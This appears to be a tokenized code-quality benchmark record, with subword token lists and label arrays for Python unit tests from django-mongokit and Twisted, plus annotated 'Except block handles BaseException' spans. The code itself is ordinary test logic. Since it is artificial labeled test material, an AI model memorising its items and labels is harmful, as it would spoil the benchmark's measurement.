"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "talk", "_", "[_", "'", "topic", "'_", "]_", "=_", "u", "\"", "Different", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "talk", "_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "post", "\\u", "save", " ", "not", " ", "created", "'_", "in_", "\\u", "fired", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "DB", "Base", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "load", "\\u", "backend_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "db_", "import_", "connections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Dj", "ang", "o", " ", "<", "1.2_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "#", " ", ":(", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "mongodb", "'_", "in_", "connections_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "utils_", "import_", "load", "\\u", "backend_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "backend_", "=_", "load", "\\u", "backend_", "(_", "'", "django", "\\u", "mongo", "kit", ".", "mongodb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "backend_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "DB", "Base", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "test\\u", "database_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "'", "mongodb", "'_", "in_", "settings_", "._", "DATABASES_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Dj", "ang", "o", " ", "<", "1.2_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "#", " ", ":(", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "old", "\\u", "databa", "se", "\\u", "name_", "=_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "test\\u", "'_", "not_", "in_", "old", "\\u", "databa", "se", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "prete", "nd", " ", "we", "'", "re", " ", "the", " ", "Dj", "ang", "o", " ", "'", "test", "'", " ", "command_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "connections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "connection_", "=_", "connections_", "[_", "'", "mongodb", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "connection_", "._", "creation_", "._", "create", "\\u", "test\\u", "db_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "databa", "se", "\\u", "name_", "=_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "test\\u", "'_", "in_", "test\\u", "databa", "se", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "mongo", "kit_", "import_", "Connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "con_", "=_", "Connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "test", " ", "databa", "se", " ", "isn", "'", "t", " ", "created", " ", "till", " ", "it", "'", "s", " ", "needed_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "test\\u", "databa", "se", "\\u", "name_", "not_", "in_", "con_", "._", "databa", "se", "\\u", "names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", "s", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "=_", "con_", "[_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coll_", "=_", "db_", "._", "test\\u", "collection", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "do", " ", "a", " ", "query", " ", "on", " ", "the", " ", "collection", " ", "to", " ", "force", " ", "the", " ", "databa", "se", " ", "to", " ", "be", " ", "created_", "\\u\\u\\uNL\\u\\u\\u_", "list_", "(_", "coll_", "._", "find_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "databa", "se", "\\u", "name_", "=_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "test\\u", "databa", "se", "\\u", "name_", "in_", "con_", "._", "databa", "se", "\\u", "names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "connection_", "._", "creation_", "._", "destroy", "\\u", "test\\u", "db_", "(_", "old", "\\u", "databa", "se", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "test\\u", "'_", "not_", "in_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "test\\u", "databa", "se", "\\u", "name_", "not_", "in_", "con_", "._", "databa", "se", "\\u", "names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "shou", "ld", " ", "work", " ", "even", " ", "tho", "ugh", " ", "it", " ", "doe", "sn", "'", "t", " ", "need", " ", "to", " ", "do", " ", "anyt", "hing_", "\\u\\u\\uNL\\u\\u\\u_", "connection_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "DB", "Base", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "test\\u", "databa", "se", "\\u", "by", "\\u", "specific", "\\u", "good", "\\u", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "'", "mongodb", "'_", "in_", "settings_", "._", "DATABASES_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Dj", "ang", "o", " ", "<", "1.2_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "TEST", "\\u", "NAME", "'_", "]_", "=_", "\"", "test\\u", "must", "ard", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "databa", "se", "\\u", "name_", "=_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "connections_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "connection_", "=_", "connections_", "[_", "'", "mongodb", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "connection_", "._", "creation_", "._", "create", "\\u", "test\\u", "db_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "databa", "se", "\\u", "name_", "=_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "test\\u", "'_", "in_", "test\\u", "databa", "se", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "mongo", "kit_", "import_", "Connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "con_", "=_", "Connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "test", " ", "databa", "se", " ", "isn", "'", "t", " ", "created", " ", "till", " ", "it", "'", "s", " ", "needed_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "test\\u", "databa", "se", "\\u", "name_", "not_", "in_", "con_", "._", "databa", "se", "\\u", "names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", "s", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "=_", "con_", "[_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coll_", "=_", "db_", "._", "test\\u", "collection", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "do", " ", "a", " ", "query", " ", "on", " ", "the", " ", "collection", " ", "to", " ", "force", " ", "the", " ", "databa", "se", " ", "to", " ", "be", " ", "created_", "\\u\\u\\uNL\\u\\u\\u_", "list_", "(_", "coll_", "._", "find_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "databa", "se", "\\u", "name_", "=_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "test\\u", "databa", "se", "\\u", "name_", "in_", "con_", "._", "databa", "se", "\\u", "names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "connection_", "._", "creation_", "._", "destroy", "\\u", "test\\u", "db_", "(_", "old", "\\u", "databa", "se", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "test\\u", "must", "ard", "'_", "not_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "settings_", "._", "DATABASES_", "[_", "'", "mongodb", "'_", "]_", "[_", "'", "NAME", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "test\\u", "databa", "se", "\\u", "name_", "not_", "in_", "con_", "._", "databa", "se", "\\u", "names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Except block handles 'BaseException'
nlloyd/SubliminalCollaborator/libs/twisted/test/generator_failure_tests.py
[ { "content": "def getDivisionFailure():\n try:\n 1/0\n except:\n f = Failure()\n return f", "metadata": "root.getDivisionFailure", "header": "['module', '___EOS___']", "index": 18 }, { "content": " def test_inlineCallbacksTracebacks(self):\n \"\"\"\n inlineCallbacks that re-raise tracebacks into their deferred\n should not lose their tracebacsk.\n \"\"\"\n f = getDivisionFailure()\n d = defer.Deferred()\n try:\n f.raiseException()\n except:\n d.errback()\n\n failures = []\n def collect_error(result):\n failures.append(result)\n\n def ic(d):\n yield d\n ic = defer.inlineCallbacks(ic)\n ic(d).addErrback(collect_error)\n\n newFailure, = failures\n self.assertEqual(\n traceback.extract_tb(newFailure.getTracebackObject())[-1][-1],\n \"1/0\"\n )", "metadata": "root.TwoPointFiveFailureTests.test_inlineCallbacksTracebacks", "header": "['class', 'TwoPointFiveFailureTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_throwExceptionIntoGenerator(self):\n \"\"\"\n It should be possible to throw the exception that a Failure\n represents into a generator.\n \"\"\"\n stuff = []\n def generator():\n try:\n yield\n except:\n stuff.append(sys.exc_info())\n else:\n self.fail(\"Yield should have yielded exception.\")\n g = generator()\n f = getDivisionFailure()\n g.next()\n self._throwIntoGenerator(f, g)\n\n self.assertEqual(stuff[0][0], ZeroDivisionError)\n self.assertTrue(isinstance(stuff[0][1], ZeroDivisionError))\n\n self.assertEqual(traceback.extract_tb(stuff[0][2])[-1][-1], \"1/0\")", "metadata": "root.TwoPointFiveFailureTests.test_throwExceptionIntoGenerator", "header": "['class', 'TwoPointFiveFailureTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 66 }, { "content": " def test_findFailureInGenerator(self):\n \"\"\"\n Within an exception handler, it should be possible to find the\n original Failure that caused the current exception (if it was\n caused by throwExceptionIntoGenerator).\n \"\"\"\n f = getDivisionFailure()\n f.cleanFailure()\n\n foundFailures = []\n def generator():\n try:\n yield\n except:\n foundFailures.append(Failure._findFailure())\n else:\n self.fail(\"No exception sent to generator\")\n\n g = generator()\n g.next()\n self._throwIntoGenerator(f, g)\n\n self.assertEqual(foundFailures, [f])", "metadata": "root.TwoPointFiveFailureTests.test_findFailureInGenerator", "header": "['class', 'TwoPointFiveFailureTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 90 }, { "content": " def test_failureConstructionFindsOriginalFailure(self):\n \"\"\"\n When a Failure is constructed in the context of an exception\n handler that is handling an exception raised by\n throwExceptionIntoGenerator, the new Failure should be chained to that\n original Failure.\n \"\"\"\n f = getDivisionFailure()\n f.cleanFailure()\n\n newFailures = []\n\n def generator():\n try:\n yield\n except:\n newFailures.append(Failure())\n else:\n self.fail(\"No exception sent to generator\")\n g = generator()\n g.next()\n self._throwIntoGenerator(f, g)\n\n self.assertEqual(len(newFailures), 1)\n self.assertEqual(newFailures[0].getTraceback(), f.getTraceback())", "metadata": "root.TwoPointFiveFailureTests.test_failureConstructionFindsOriginalFailure", "header": "['class', 'TwoPointFiveFailureTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 115 }, { "content": " def test_ambiguousFailureInGenerator(self):\n \"\"\"\n When a generator reraises a different exception,\n L{Failure._findFailure} inside the generator should find the reraised\n exception rather than original one.\n \"\"\"\n def generator():\n try:\n try:\n yield\n except:\n [][1]\n except:\n self.assertIsInstance(Failure().value, IndexError)\n g = generator()\n g.next()\n f = getDivisionFailure()\n self._throwIntoGenerator(f, g)", "metadata": "root.TwoPointFiveFailureTests.test_ambiguousFailureInGenerator", "header": "['class', 'TwoPointFiveFailureTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 141 }, { "content": " def test_ambiguousFailureFromGenerator(self):\n \"\"\"\n When a generator reraises a different exception,\n L{Failure._findFailure} above the generator should find the reraised\n exception rather than original one.\n \"\"\"\n def generator():\n try:\n yield\n except:\n [][1]\n g = generator()\n g.next()\n f = getDivisionFailure()\n try:\n self._throwIntoGenerator(f, g)\n except:\n self.assertIsInstance(Failure().value, IndexError)", "metadata": "root.TwoPointFiveFailureTests.test_ambiguousFailureFromGenerator", "header": "['class', 'TwoPointFiveFailureTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 160 } ]
[ { "span": "except:", "start_line": 21, "start_column": 4, "end_line": 21, "end_column": 11 }, { "span": "except:", "start_line": 38, "start_column": 8, "end_line": 38, "end_column": 15 }, { "span": "except:", "start_line": 75, "start_column": 12, "end_line": 75, "end_column": 19 }, { "span": "except:", "start_line": 103, "start_column": 12, "end_line": 103, "end_column": 19 }, { "span": "except:", "start_line": 130, "start_column": 12, "end_line": 130, "end_column": 19 }, { "span": "except:", "start_line": 151, "start_column": 16, "end_line": 151, "end_column": 23 }, { "span": "except:", "start_line": 153, "start_column": 12, "end_line": 153, "end_column": 19 }, { "span": "except:", "start_line": 169, "start_column": 12, "end_line": 169, "end_column": 19 }, { "span": "except:", "start_line": 176, "start_column": 8, "end_line": 176, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "Divis", "ion", "Failure_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tw", "o", "Point", "Fiv", "e", "Fail", "ure", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "inline", "Call", "backs", "Trace", "backs", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "inline", "Call", "backs", " ", "tha", "t", " ", "re", "-", "raise", " ", "traceback", "s", " ", "int", "o", " ", "thei", "r", " ", "defer", "red", "\\", "10", ";", " ", " ", " ", " ", "shou", "ld", " ", "not", " ", "lose", " ", "thei", "r", " ", "trace", "bac", "sk", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "get", "Divis", "ion", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "defer_", "._", "Deferred_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "raise", "Exception_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "._", "errback", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "failures_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "collect", "\\u", "error_", "(_", "result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "failures_", "._", "append_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ic_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ic_", "=_", "defer_", "._", "inline", "Callbacks_", "(_", "ic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ic_", "(_", "d_", ")_", "._", "add", "Errback_", "(_", "collect", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Failure_", ",_", "=_", "failures_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "traceback_", "._", "extract", "\\u", "tb_", "(_", "new", "Failure_", "._", "get", "Trace", "back", "Object_", "(_", ")_", ")_", "[_", "-_", "1_", "]_", "[_", "-_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "1", "/", "0", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tw", "o", "Point", "Fiv", "e", "Fail", "ure", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "throw", "Except", "ion", "Int", "o", "Generator_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "It", " ", "shou", "ld", " ", "be", " ", "possib", "le", " ", "to", " ", "throw", " ", "the", " ", "exception", " ", "tha", "t", " ", "a", " ", "Fail", "ure", "\\", "10", ";", " ", " ", " ", " ", "represent", "s", " ", "int", "o", " ", "a", " ", "generat", "or", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stuff_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stuff_", "._", "append_", "(_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Yi", "eld", " ", "shou", "ld", " ", "have", " ", "yield", "ed", " ", "exception", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "g_", "=_", "generator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "get", "Divis", "ion", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "throw", "Int", "o", "Generator_", "(_", "f_", ",_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "stuff_", "[_", "0_", "]_", "[_", "0_", "]_", ",_", "Zero", "Divis", "ion", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "stuff_", "[_", "0_", "]_", "[_", "1_", "]_", ",_", "Zero", "Divis", "ion", "Error_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "traceback_", "._", "extract", "\\u", "tb_", "(_", "stuff_", "[_", "0_", "]_", "[_", "2_", "]_", ")_", "[_", "-_", "1_", "]_", "[_", "-_", "1_", "]_", ",_", "\"", "1", "/", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tw", "o", "Point", "Fiv", "e", "Fail", "ure", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "find", "Fail", "ure", "In", "Generator_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "With", "in", " ", "an", " ", "exception", " ", "handler", ",", " ", "it", " ", "shou", "ld", " ", "be", " ", "possib", "le", " ", "to", " ", "find", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "original", " ", "Fail", "ure", " ", "tha", "t", " ", "caus", "ed", " ", "the", " ", "current", " ", "exception", " ", "(", "if", " ", "it", " ", "was", "\\", "10", ";", " ", " ", " ", " ", "caus", "ed", " ", "by", " ", "throw", "Except", "ion", "Int", "o", "Generat", "or", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "get", "Divis", "ion", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "clean", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "found", "Fail", "ures_", "=_", "[_", "]_", 